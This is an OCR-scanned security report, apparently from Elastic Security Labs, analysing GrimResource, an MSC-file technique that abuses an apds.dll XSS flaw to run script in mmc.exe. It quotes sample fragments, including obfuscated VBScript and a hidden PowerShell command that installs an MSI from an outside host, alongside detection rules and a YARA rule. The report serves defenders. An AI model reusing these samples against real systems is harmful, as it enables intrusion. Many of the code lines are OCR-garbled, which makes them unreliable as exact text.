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Overview

After Microsoft disabled office macros by default for internet-sourced documents, other infection vectors like JavaScript,
MSI files, LNK objects, and ISOs have surged in popularity. However, these other techniques are scrutinized by defenders
and have a high likelihood of detection. Mature attackers seek to leverage new and undisclosed infection vectors to gain
access while evading defenses. A recent example involved DPRK actors using a new command execution technique in
MSC files.

Elastic researchers have uncovered a new infection technique also leveraging MSC files, which we refer to as
GrimResource. It allows attackers to gain full code execution in the context of mmc.exe after a user clicks on a specially

crafted MSC file. A sample leveraging GrimResource was first uploaded to VirusTotal on June 6th.

Key takeaways

 Elastic Security researchers uncovered a novel, in-the-wild code execution technique leveraging specially crafted
MSC files referred to as GrimResource

o GrimResource allows attackers to execute arbitrary code in Microsoft Management Console ( mmc.exe ) with
minimal security warnings, ideal for gaining initial access and evading defenses

 Elastic is providing analysis of the technique and detection guidance so the community can protect themselves

Analysis

The key to the GrimResource technique is using an old XSS flaw present in the apds.dll library. By adding a reference
to the vulnerable APDS resource in the appropriate StringTable section of a crafted MSC file, attackers can execute
arbitrary javascript in the context of mmc.exe . Attackers can combine this technique with DotNetToJScript to gain

arbitrary code execution.

ringTabl

«IdentifierPool AbsoluteMin="1" AbsoluteMa 35" NextAvailable="4@"/>
<{StringTable>
<GUID>{71E5B33E-1864-11D2- 888F-08@aF 8 75A0CE 1< /GUID>
<Strings>»
<String 5 >Favorites</String>
<String
<String
<String
<String 4 >
<String ID s="1">res:/fapds.dll/redirect.html?target=javascript:eval("alert( 'GRIMRESOURCE" )" }</String>

Reference to apds.dll redirect in StringTable
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At the time of writing, the sample identified in the wild had 0 static detections in VirusTotal.

@ No security vendors and no sandboxes flagged this file as malicious

Q Follow ~  C Reanalyze 4 |
14bcb7196143fd2b800385e9b32cfacd837007b0face71a73b546b5331... Size
L sccm-updater.msc 1.63MB
Score
xml
DETECTION DETAILS CONTENT TELEMETRY COMMUNITY

VirusTotal results

The sample begins with a transformNode obfuscation technique, which was observed in recent but unrelated macro

samples. This aids in evading ActiveX security warnings.

<StringTables>

<IdentifierPool AbsoluteMin="1" AbsoluteMax="65535" NextAvailable="40"/>
<StringTable>

<GUID>{71E5B33E-1064-11D2-808F-0000F875A9CE} </GUID>

<Strings>

<String ID="1" Refs="1">Favorites</String>
<3tring ID="8" Refs="2">// Console Root
/) e#x20;e#n2076Fx20; 88520780207 6Fx20; 6 Fx20; 880207 6#x20; 6Fx20;6#x20; 6 #x20; 6Fx20;7 #5206 #0200, 6F 2207 #5020, 652068220 6 #5207 220768220 6§
var scopeNamespace — external.Document.ScopeNamespace ;
var rootNode = scopeNamespace.GetRoot ()
var mainNode = scopeNamespace.GetChild(rootNode)
var docNode — scopeNamespace .GetNext (mainNode)

external.Document.ActiveView.ActiveScopeNode = docNode
docObject = external.Document.ActiveView.ControlObject
external.Document.ActiveView.ActiveScopeNode = mainNode

var XML = docObject;

XML.async = false

var xsl = XML;

xs1.loadXML (unescape ("%3043£478%6d4603208764 6527247346946 46e43d82743142530%2743523e20a2308734 748794604655 7346856556547420a220420220%820%
XML. transformNode (xs1)

</String>
<5tring ID="23" F >Document</3tring>
<String ID="24" F >{2933BF90-7B36-11D2-B20E-00C04F983E60}</String>
<String ID="38" F ain</String>
<String ID="39" F
</Strings>

</StringTable>
</StrincTables>

transformNode evasion and obfuscation technique

This leads to an obfuscated embedded VBScript, as reconstructed below:
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<?ml wversion="1l.0'?>
<stylesheet
xmins="nttp: )/ Wil . w3 . org/l
Xmlns:user="placeholdsr"™
version="1.0">
<output method="text"/>
<ms :script implements-prefix="usesr" language="VEScript">»<![CDATA[Dim CLlnalg
"Badcc993-15f2-44f6-bacl-fb306£034d:
74a2-0934036falde™)) . Item(WyPJ\

i)
il
il

AXSL/Transform™ xmins:ms="urn:schemas-microsoft-com:xslt"

CLlnalg.Environment (WyPJVX ("HURZW11lLOg==", "eceiffld4-bfSc-42de-

L]

Function WyPJVX(wrBxulr, Logwi4IC)
WyPJVx = QJINzR(gsvoRgL (wrBxuTlr), LgwhIC)
End Function

Function gsvoRgI (vval)
Dim pmip, zZFOvnLg(235)
Dim dZHd, COgfio, GozEnsY, HHUw, vEJIGM, uRNipg, MZIXH
pnYp = "ABCDEFGH"
pnYp = pn¥p & "IJELMNOE"

poYp = pmYp & "ORISTUVIEX"
pmip = pmYp & "YZabodef"
poY¥p = poY¥p & "ghijklmn”
pnYp = pnyp & "opgrstuv”
pmip = pmYp &
pmip = pmYp &

For HHUw = 0 To Len(pm¥p) - 1
zFOvnlg (Asc(Mid{pm¥p, HHUw + 1, 1))} = HHUw
Next

Obfuscated VBScript

The VBScript sets the target payload in a series of environment variables and then leverages the DotNetToJs technique to
execute an embedded .NET loader. We named this component PASTALOADER and may release additional analysis on

this specific tool in the future.

Dim iICHMct
Set iICMct = CLlnalg.Environment ("Frocesszs")

iICMet.Item("s 1") =
iICMct.Item("S 2")
iICMct.Item("S 3")
iICMct.Item("S 4")
iICMct.Item("S 5")
iICMct.Item("S &")
iICMct.Item("S 7")
iICMct.Item("S 2")
iICMct.Item("S ")

AB/YDAwAOYT AD4ALAMA/YAWAD wWwEADSGAVAE ML/

w/EDgAtmOh CwEmd QABUDgAsW JACoE6RAQAR

iTCHct.Item("E_10") = "/ cBgA+5DRC4HIR A
iTCHet.Item("E 11") = "g+Yhg AF1IL BQw A4Dgh EBF ACQED
iTCHMct.Item{"E_ 12"} = "ICgh IsEA CcAvAM wS0CgAHoLACYAT. AMwI

iTCHet . Item("E_13"M)
iTCHet.Item("E_14™)
iICHMct.Ttem ("2 15")

"PMABONGAQgR sDOAALE ABWNWAQgAODQRC DI
"Ezh M BQATruMABR sEVAMAS4BO LAg+PRABKE

"wh 4DOAhZER BEGFACQWA4DD AhNALRAGSR M

Setting the target payload environment variables

Dim FtTECk
Set FtTECk = Create0Object("System.Runtime.Serialization.Formatters.Bin
FtTKCk.Deserialize_ 2 (ztVILGs (Xuxzl, 37317))

inaryFormatter™)

DotNetToJs loading technique

PASTALOADER retrieves the payload from environment variables set by the VBScript in the previous step:
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onmentVariable;

", fmgdmb, num),

PASTALOADER loader retrieving the payload

Finally, PASTALOADER spawns a new instance of dllhost.exe and injects the payload into it. This is done in a

deliberately stealthy manner using the DirtyCLR technique, function unhooking, and indirect syscalls. In this sample, the

final payload is Cobalt Strike.

k event.code k rule.name k process.executable k process.parent.executable

memory_signature Windows.Trojan.CobaltStrike C:\Windows\System32\dllhost.exe C:\Windows\System32\mmc . exe
behavior Execution from Suspicious Stack Trailing Bytes C:\Windows\System32\dllhost.exe C:\Windows\System32\mmc.exe
behavior Execution from Suspicious Stack Trailing Bytes C:\Windows\System32\dllhost.exe C:\Windows\System32\mmc.exe
behavior Network Module Loaded from Suspicious Unbacked Memory C:\Windows\System32\dllhost.exe C:\Windows\System32\mmc.exe
behavior Process Creation with Unusual Mitigation C:\Windows\System32\dllhost.exe C:\Windows\System32\mmc.exe
behavior Suspicious Execution via Microsoft Common Console C:\Windows\System32\dllhost.exe C:\Windows\System32\mmc.exe
behavior Process Creation via ROP Gadgets C:\Windows\System32\dllhost.exe C:\Windows\System32\mmc.exe

Payload injected into dllhost.exe

Detections

In this section, we will examine current behavior detections for this sample and present new, more precise ones aimed at

the technique primitives.
Suspicious Execution via Microsoft Common Console

This detection was established prior to our discovery of this new execution technique. It was originally designed to
identify a different method (which requires the user to click on the Taskpad after opening the MSC file) that exploits the

same MSC file type to execute commands through the Console Taskpads command line attribute:

ListS Medium" IsNodeSpecific="false" ReplacesDefaultView="true" NoResults

="true" NodeType="{C96401CE-QE17-11D3-885B-00C04F72C717}" ID=
{110CD831-23D8-4335-A70E-E4155BDE2D85 }

Name="Name" ID="1

Name="Description" ID="4

Name="Tooltip" Value=

Type="CommandlLine" Command="powershell.exe
ame="Name" ID="5
Name="Description" ID="5

Name="Small" BinaryRefInde 6
Name="Large" BinaryRefIndex="7

Directory="" WindowState="Minimized" Params="-w hidden ($hwp=new-object
—comobject 'WindowsInstaller.Installer');($hwp.uilevel =
2); ($hwp.installproduct('https://epsross.com/
lvowtwq', "REMOVE=ALL')); ($hwp.installproduct('https://epsross.com/lvowtwg"))

Name="TargetNode" NodeID="1

Command task MSC sample
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process where event.action == "start" and

process.parent.executable : "?:\\Windows\\System32\\mmc.exe" and process.parent.args : "*.msc" and

not process.parent.args : ("?:\\Windows\\System32\\*.msc", "?:\\Windows\\SysWOW64\\*.msc", "?:\\Program files\\*.msc",
not process.executable :

("?:\\Windows\\System32\\mmc.exe",

?:\\Windows\\System32\\wermgr.exe",
?:\\Windows\\System32\\WerFault.exe",
?:\\Windows\\SysWOW64\\mmc.exe",

"?:\\Program Files\\*.exe",

"?:\\Program Files (x86)\\*.exe",
?:\\Windows\\System32\\spool\\drivers\\x64\\3\\*.EXE",

?:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe")

It triggers here because this sample opted to spawn and inject a sacrificial instance of dllhost.exe:

= @ secuity  Alrts ML job settings ~ [B Add integrations  Dataview Alerts ~ 48 Al Assistant
3 = @ QU rule.name "Suspicious Execution via Microsoft Common Console” @~ Today C
& Security
® ~
Events Details for: dilhost.exe (@>
Dashboards 88 v
0 e
Rules ] dilhost.exe
B
Alerts Terminated Process TERMINATED PROCESS ®
mmc.exe
i 12 Events =
Attack discovery 23api 2 file
Findings Field Value 7 intrusion_detection
14 library | 8 registry
Cases . Jun 18,2024 @ ©
@timestamp Yoo,
13:54:10.133 “0,,0
£
Timelines ANALYZED EVENT - TERMINATED PROCESS
C:\Windows\System3 dllhost.exe
Intelligence process.executable — 5 .
Salert 3 api
oa 3 intrusion_detection
Explore G process.pid 9568
YThmMDFmYjgtNzY

Get started K

WMSOOMDITLWFhO

GrimResource detected

.NET COM object created in non-standard Windows Script Interpreter

The sample is using the DotNetToJScript technique, which triggers another detection looking for RWX memory allocation

from .NET on behalf of a Windows Script Host (WSH) script engine (Jscript or Vbscript):

The following EQL rule will detect execution via the .NET loader:

api where
not process.name : ("cscript.exe", "wscript.exe") and
process.code_signature.trusted == true and
process.code_signature.subject_name : "Microsoft*" and
process.Ext.api.name == "VirtualAlloc" and
process.Ext.api.parameters.allocation_type == "RESERVE" and
process.Ext.api.parameters.protection == "RWX" and
process.thread.Ext.call_stack_summary : (
/* .NET is allocating executable memory on behalf of a WSH script engine
* Note - this covers both .NET 2 and .NET 4 framework variants */
"*|mscoree.dll|combase.dll]|jscript.dll|*",

"*|mscoree.dl1l|combase.dll|vbscript.dll]*",
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"*|mscoree.dll|combase.dll]jscript9.dil|*",

"*|mscoree.dl1l|combase.dl1|chakra.dll|*"

The following alert shows mmc.exe allocating RWX memory and the process.thread.Ext.call_stack_summary

captures the origin of the allocation from vbscript.dll to clr.dll

1 hit
@ process.thread.Ext.call {
Documents  Field statistics _stack_final_user_modul “trusted”: true,
e.code_signature “subject_name”: "Microsoft Corporation”,
= Columns & 1field sorted “exists": true,

\ @tir v event... v process.executable

v process.Ext.api.summary ~

“status”: "trusted"

]

Jun 18,  behavior  C:\Windows\System32\mmc.exe VirtualAlloc( NULL, @x1@eee, k process.thread.Ext.call 8b73884bb28e8d93eb32d45304351d769c67 fadaba
2024 @ RESERVE, RWX ) _stack_final_user_modul  99d5a8c291c791749ddcb9
1352 e.hash.sha256

process. thread.Ext.call
_stack_final_user_modul
e.name

process. thread .Ext.call
_stack_final_user_modul
e.path

process. thread.Ext.call
_stack_summary

clr.dll

c:\windows\microsoft.net\framework6d\vd 8.
30319\clr.dll

ntdl1.d11|kernelbase.d11| BFId11|mecoreeil
dl1|mscoree.d11|combase.d1l|vbscript.dll|m

sxml3.d11|mshtml.d1l|jseript9.dll|unbacked
| jscript9.d11|Unbacked| jscript9.dll|mshtm
1.d11jurlmon.dll|user32.d11|mfc42u.dll|use
r32.d11|mfcd2u. d11 |mmc . exe |mfoa2u. d11|mmc .
exe|kernel32.d1l|ntd1l.d11

mmc.exe allocating RWX memory
Script Execution via MMC Console File

The two previous detections were triggered by specific implementation choices to weaponize the GrimResource method

(DotNetToJS and spawning a child process). These detections can be bypassed by using more OPSEC-safe alternatives.

Other behaviors that might initially seem suspicious — such as mmc.exe loading jscript.dll, vbscript.dll , and
msxml3.d1ll — can be clarified compared to benign data. We can see that, except for vbscript.dll , these WSH

engines are typically loaded by mmc.exe :

[

Q) event.category :"library" and process.name :"mmc.exe" and dll.name :(“jscript.dil* or “jscript9.dll" or "vbscript.dl" or msxmi3.dll) € v~ Last 90 days

Documents (193) Field statistics

> Type Name T Documents (%) @ Distinct values [l Distributions %>
£ diname B 193 (100%) a3 s
DOCUMENTS STATS TOP VALUES
count 193 jscripta.dll 99 (51.3%) & ©
percentage 100% jscript.dil 93 (48.2%) @ ©
distinct values 3 msxmid.dil  1(0.5%) & ©

Calculated from 193 records.
Normal library load behaviors by mmc.exe

The core aspect of this method involves using apds.dll to execute Jscript via XSS. This behavior is evident in the mmc.exe

Procmon output as a CreateFile operation ( apds.dll is not loaded as a library):
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7a%74%56%66%4 C%47%7 3%28%58%75%78%7a%06C%2C%20%33%37%33%31%37%29%29%5d%5d%3 e%3 c%2
a%73%63%72%69%70%74%3e%0a%3 %2 T%73%74%79%6C%65%7 3%68%65%65%74%3e" ) )
XML.transformNode(xs1)

ID="23" Refs="2">Document

ID="24" Refs="1">{2933BF90-7B36-11D2-B20E-00C04F983E6Q}

ID="38" Refs="2">Main

IDERE R RN res : //apds.dll/redirect.html?target=javascript:eva
external.Document.ScopeNamespace.GetRoot ().Name)

AQAAABQAAAAAAAAAJGAAACCAAAA

AOAAABOAA g 2

apds.dll being invoked in the MSC StringTable

£RAUUUIAIIS T gmme. exe 3330 [Lreaterie L\WVINGOWS \SYSIem SZ\TIMC €Xe &
:26:40.0098339 PM @@mme exe 4436 _reateFile C:\Windows\System32\mmc exe
:26:40.0178043 PM [zgymmc exe 4436 @CreateFie C:\Windows\System32\en-US\ieframe.dll mui
:26:40.0230465 PM [zggmmc.exe T e S e e
26:40.0233634 PM | ggymme exe &

:26:40.0257564 PM [zgymmc.exe

:26:40.0262975 PM @mme.exe 2 Event £ Process & Siack

:26:40.0263330 PM | zgmm exe
:26:40.0265676 PM [zgymmc exe

26400267099 PM ‘Qmmc,exe Date: 6/18/2024 3:26:40.0777903 PM

:26:40.0272950 PM [gymmc exe Thread: 6436

:26:40.0274501 PM :ancexe Class: File Syst

26:40.0282864 PM | gggmme:exe o SRkl

:26:40.0288536 PM [ggmmc.exe Operation: CreateFile

gﬁgggg;g I;x bm::: Result: SUCCESS Message from webpage X

:26:40.0304586 PM ggymmc.exe Path: C:\Windows\System32\apds.dll

SR LN s Duration: 0.0000397 |

:26:40.0327806 PM_|ggmme.exe : . B Pwned |
:26:40.0777903 PM_E&mmc exe

:26:40.0818068 PM {zgymmc exe Desired Access: Read Attributes s
:26:40.0850123 PM [gymmc exe Disposition: Open s
:26:40.0855157 PM ch.exe Options: Open Reparse Point

:26:40.0857516 PM Qnmceme Attributes: n/a

:26:40.0860195 PM ;innc.exe ShareMode: Read, Write, Delete

:26:40.0863698 PM mmc.exe AllocationSize: n/a

:26:40.0868680 PM [ggmmc.exe OpenResult: Opened

:26:40.0872841 PM [;gymmc exe
:26:40.0876804 PM [gymmc exe
:26:40.0879668 PM @mme.exe
:26:40.0888761 PM mme exe

Example of the successful execution of GrimResource

We added the following detection using Elastic Defend file open events where the target file is apds.dll and the

process.name is mmc.exe :

The following EQL rule will detect the execution of a script from the MMC console:

sequence by process.entity_id with maxspan=Tm

[process where event.action == "start" and

process.executable : "?:\\Windows\\System32\\mmc.exe" and process.args : "*.msc"]
[file where event.action == "open" and file.path : "?:\\Windows\\System32\\apds.d11"]

EQL query

sequence by process.entity_id with maxspan=1m

[process where event.action == "start" and

process.executable : "?:\\Windows\\System32\\mmc.exe" and process.args : "*.msc"]
[file where event.action == "open” and file.path : "?:\\Windows\\System32\\apds.diI"]

Gy ) @timestamp process.executable file.path event.category event.action
= ) Jun19, 2024 @ 21:08:58.205 1 C:\Windows\System32\mmc.exe - process start
2 bouss '\ in| B CWINDOWS\system32\ | started process | >_mme.exe | (14156) | CAWINDO 2\mm: [ ]

{11512)  with result

# 745596774 526752

O R e © Jun19, 2024 @ 21:08:59.079 | C:\Windows\System32\mmc.exe C:\WINDOWS\system32\apds.dil file open

Timeline showing the script execution with the MMC console
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Windows Script Execution via MMC Console File

Another detection and forensic artifact is the creation of a temporary HTML file in the INetCache folder, named
redirect[*] as a result of the APDS XSS redirection:

<« AppData » Local > Microsoft > Windows > INetCache > IE > AIODTZRG i
Name - Date modified Type Size
’ D dnserrordiagoff[1] 6/19/2024 9:10 AM File 2KB
' |:] dyntelconfig[1].cache 6/19/2024 9:22 AM CACHE File 21KB
. [ httpErrorPagesScripts(1] 6/19/2024 9:10 AM File 12KB
i [] redirect[2] 6/19/2024 9:26 AM File 1KB
»
g redirect[2] X +

File Edit View

<!DOCTYPE html>
<html xmlns="http://www.w3.0rg/1999/xhtml" >
<head>
<meta http-equiy="Content-Type" content="text/html; charset=utf-8"/>
<script type="text/javascript”>
var targetParamRegex = /[\?\&]target=(["\&\#]+)/i;
var targetResults = targetParamRegex.exec(window.location.search);

window.location.replace(decodeURIComponent (targetResults[1]));
h
</script>
</head>
<body>
</body>

ed 4 </html>

Contents of redirect.html

The following EQL correlation can be used to detect this behavior while also capturing the msc file path:

sequence by process.entity_id with maxspan=Tm

[process where event.action == "start" and

process.executable : "?:\\Windows\\System32\\mmc.exe" and process.args : "*.msc"]

[file where event.action in ("creation", "overwrite") and

process.executable : "?:\\Windows\\System32\\mmc.exe" and file.name : "redirect[?]" and

file.path : "?:\\Users\\*\\AppData\\Local\\Microsoft\\Windows\\INetCache\\IE\\*\\redirect[?]"]
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EQL query

sequence by process.entity_id with maxspan=1m

[process where event.action == “start” and

proc utable : "7 32\\mmc.exe” and process.args : "*msc"]

[file where event.action in (“creation”, "overwrite") and

process.executable : "2:\\Windows\\System32\\mmc.exe” and

file.name : "redirect[?]" and file.path : "2:\\Users\\*\\AppDatal\Local\\Microsoft\Windows\\INetCache\\IE\\*\\redirect[2]"]

Ever

ol ) @timestamp
=10 - S ) Jun19, 2024 @ 11:35:31.974
2 bouss | in’ B CHWINDOWS\system32\ ~started process = >.mmc.exe  (14220)  CAWINDO! 3; exe | oL datermse |\
(11512)  withresult | unknown
# cebd18ch93957eaeddectc1745519677452¢75202d60a9a8010a48e0ad5af4
=0 ) Jun19, 2024 @ 11:35:36 827
2 bouss createdafile | [ redirect(1] in [ Ci\User Datall che\lE\LYZMWEBQ\redirect(1]  via = > mmc.exe (14220)

Timeline detecting redirect.html

Alongside the provided behavior rules, the following YARA rule can be used to detect similar files:

rule Windows_GrimResource MMC {

meta:
author = "Elastic Security"
reference = "https://www.elastic.co/security-labs/GrimResource”
reference_sample = "14bcb7196143fd2b800385e9b32cfacd837007b@face71a73b546b53310258bb"
arch_context = "x86"
scan_context = "file, memory"
license = "Elastic License v2"
os = "windows"

strings:
$xml = "<?xml"
$a = "MMC_ConsoleFile"
$b1 = "apds.d11"
$b2 = "res://"
$b3 = "javascript:eval("
$b4 = ".TloadXML("

condition:

$xml at @ and $a and 2 of ($b*)

Conclusion

Attackers have developed a new technique to execute arbitrary code in Microsoft Management Console using crafted
MSC files. Elastic’s existing out of the box coverage shows our defense-in-depth approach is effective even against novel

threats like this. Defenders should leverage our detection guidance to protect themselves and their customers from this

technique before it proliferates into commodity threat groups.

Observables

All observables are also available for download in both ECS and STIX formats.

The following observables were discussed in this research.

Page 9 of 10


https://github.com/elastic/labs-releases/tree/main/indicators/grimresource

https://www.elastic.co/security-labs/grimresource

Observable Type
SHA-
14bcb7196143fd2b800385e9b32cfacd837007b0face71a73b546b53310258bb -
SHA-
4cb575bc114d39f81e66d6e7c453987639289a28cd83a7d802744cd99087fd7
256
SHA-
c1bba723f79282dceed4b8c40123c72a5dfcf4e3ff7dd48db8ch6c8772b60b88 -

Source: https://www.elastic.co/security-labs/grimresource
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Name

sccm-

updater.msc

N/A

N/A

Reference

Abused MSC file

PASTALOADER

Cobalt Strike
payload



